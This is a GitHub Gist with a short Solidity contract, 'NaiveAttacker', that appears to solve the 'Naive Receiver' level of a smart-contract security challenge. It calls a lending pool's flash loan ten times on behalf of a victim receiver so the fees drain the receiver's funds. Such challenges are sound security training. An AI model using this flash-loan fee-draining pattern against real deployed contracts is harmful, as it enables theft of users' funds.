Created
July 9, 2022 21:43
-
-
Save JuanXavier/8f395a2571189f6fd110f06bf13216e5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.0; | |
| import "../naive-receiver/NaiveReceiverLenderPool.sol"; | |
| contract NaiveAttacker { | |
| NaiveReceiverLenderPool public pool; | |
| constructor(address payable _pool) { | |
| pool = NaiveReceiverLenderPool(_pool); | |
| } | |
| function attack(address _receiver) external { | |
| for (uint256 i = 0; i < 10; i++) { | |
| pool.flashLoan(_receiver, 0); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment